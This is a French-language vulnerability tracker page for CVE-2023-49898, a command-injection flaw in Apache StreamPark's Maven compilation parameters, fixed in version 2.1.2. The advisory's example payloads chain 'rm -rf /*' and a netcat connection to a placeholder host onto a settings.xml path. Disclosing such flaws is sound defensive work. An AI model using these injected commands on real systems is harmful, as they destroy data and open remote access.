Aller au contenu
en Se connecter
Non notée

CVE-2023-49898 In streampark, there is a project module that integrates Maven's compilation capability

Description

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

Produits et versions touchés

Produit Versions touchées Corrigé en
Apache StreamPark (incubating) 2.0 2.0.0 → < 2.1.2 2.1.2

Références

Chronologie

  1. Publiée
  2. Dernière modification

Autres CVE de Apache StreamPark (incubating)

Les 8 CVE de Apache StreamPark (incubating) →
CVE-2024-29737 In streampark, the project module integrates Maven's compilation capabilities Non notée CVE-2023-52291 In streampark, the project module integrates Maven's compilation capabilities Non notée CVE-2023-52290 In streampark-console the list pages(e.g: application pages), users can sort page by field Non notée CVE-2023-30867 In the Streampark platform, when users log in to the system and use certain features, some pages provide a name-based… Non notée
Suivre cette CVE